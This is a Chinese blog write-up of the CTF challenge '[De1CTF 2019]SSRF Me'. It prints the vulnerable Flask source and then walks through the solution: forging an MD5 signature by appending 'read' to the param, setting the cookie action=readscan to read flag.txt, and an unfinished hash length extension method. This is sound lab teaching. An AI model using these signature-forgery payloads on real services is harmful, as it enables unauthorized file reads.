BUUCTF [De1CTF 2019]SSRF Me

发布时间 2023-09-06 09:53:20作者: Amsterdamnit

源码

#! /usr/bin/env python 
#encoding=utf-8 
from flask import Flask 
from flask import request 
import socket 
import hashlib 
import urllib 
import sys 
import os 
import json 
reload(sys) 
sys.setdefaultencoding('latin1') 
app = Flask(__name__) 
secert_key = os.urandom(16) 
class Task: 
    def __init__(self, action, param, sign, ip): 
        self.action = action 
        self.param = param 
        self.sign = sign 
        self.sandbox = md5(ip) 
        if(not os.path.exists(self.sandbox)): 
            #SandBox For Remote_Addr 
            os.mkdir(self.sandbox) 

    def Exec(self): 
        result = {} 
        result['code'] = 500 
        if (self.checkSign()): 
            if "scan" in self.action: 
                tmpfile = open("./%s/result.txt" % self.sandbox, 'w') 
                resp = scan(self.param) 
                if (resp == "Connection Timeout"): 
                    result['data'] = resp 
                else: 
                    print (resp) 
                    tmpfile.write(resp) 
                    tmpfile.close() 
                    result['code'] = 200 


                if "read" in self.action: 
                    f = open("./%s/result.txt" % self.sandbox, 'r') 
                    result['code'] = 200 
                    result['data'] = f.read() 


                if result['code'] == 500: 
                    result['data'] = "Action Error" 

            else: 
                result['code'] = 500 
                result['msg'] = "Sign Error" 
            return result 


def checkSign(self): 
    if (getSign(self.action, self.param) == self.sign): 
        return True 
    else: 
        return False 


#generate Sign For Action Scan. 

@app.route("/geneSign", methods=['GET', 'POST']) 
def geneSign(): 
    param = urllib.unquote(request.args.get("param", "")) 
    action = "scan" 
    return getSign(action, param) 


@app.route('/De1ta',methods=['GET','POST']) 
def challenge(): 
    action = urllib.unquote(request.cookies.get("action")) 
    param = urllib.unquote(request.args.get("param", "")) 
    sign = urllib.unquote(request.cookies.get("sign")) 
    ip = request.remote_addr 
    if(waf(param)): 
        return "No Hacker!!!!" 
    task = Task(action, param, sign, ip) 
    return json.dumps(task.Exec()) 


@app.route('/') 
def index(): 
    return open("code.txt","r").read() 


def scan(param): 
    socket.setdefaulttimeout(1) 
    try: 
        return urllib.urlopen(param).read()[:50] 
    except: 
        return "Connection Timeout" 

         
def getSign(action, param): 
    return hashlib.md5(secert_key + param + action).hexdigest() 
    
def md5(content): 
    return hashlib.md5(content).hexdigest() 
    
def waf(param): 
    check=param.strip().lower() 
    if check.startswith("gopher") or check.startswith("file"): 
        return True 
    else: 
        return False 
        
       
if __name__ == '__main__': 
    app.debug = False 
    app.run(host='0.0.0.0',port=80) 

发现有三个路由分别是:

/geneSign

@app.route("/geneSign", methods=['GET', 'POST']) 
def geneSign(): 
    param = urllib.unquote(request.args.get("param", "")) 
    action = "scan" 
    return getSign(action, param) 

取得传递的参数param和固定的action,传入和调用getSign()函数。

/De1ta

@app.route('/De1ta',methods=['GET','POST']) 
def challenge(): 
    action = urllib.unquote(request.cookies.get("action")) 
    param = urllib.unquote(request.args.get("param", "")) 
    sign = urllib.unquote(request.cookies.get("sign")) 
    ip = request.remote_addr 
    if(waf(param)): 
        return "No Hacker!!!!" 
    task = Task(action, param, sign, ip) 
    return json.dumps(task.Exec()) 

取得传递的参数param和从cookie传递的actionsign,绕过waf()函数后,创建Task对象,并调用Exec方法,最后以json形式返回结果。

/

@app.route('/') 
def index(): 
    return open("code.txt","r").read() 

获取首页源码

Task-Exec()

首先我们要通过

if (self.checkSign()):

并且两个action的判断都要满足

if "scan" in self.action:
if "read" in self.action:

因为用的是in,所以action是scanreadreadscan都可行。
接下来读取flag.txt,并通过

tmpfile.write(resp)

写入result.txt给json.dumps。

self.checkSign()

满足self.checkSign(),就需要满足

hashlib.md5(secert_key + param + action).hexdigest() = self.sign

但是我们不知道secret_key的值是多少,它只存在于服务端。注意到/geneSign中已经将action定为scan,所以我们传入的param可以为flag.txtread,这样的话还是会拼接为secert_key + 'flag.txtread' + 'scan'

构建payload1:/geneSign?param=flag.txtread
得到哈希值ee67bf7b971abc8fc4bc3c3c5694563b

构建payload2:

/De1ta?param=flag.txt
Cookie: action=readscan;sign=ee67bf7b971abc8fc4bc3c3c5694563b

得到flag{bad42dee-4118-4c77-809b-9adfaa0387b7}

方法2-哈希长度扩展攻击

当md5加密参数存在用户可控变量时

(md5(secret+args); args可控)

我们可以通过手动填充args部分,添加(控制)最后一组明文,并根据上一次加密的结果逆向再和库中固定的加密轮密钥来演算出我们新添加的一组明文的加密结果,进而推出最后的新密文。
简单地说就是用户可以用过控制args变量来来控制最后的加密结果md5(....)而不需要知道secret值。

需要工具hashpump

待补充




参考链接:
https://blog.csdn.net/RABCDXB/article/details/115412359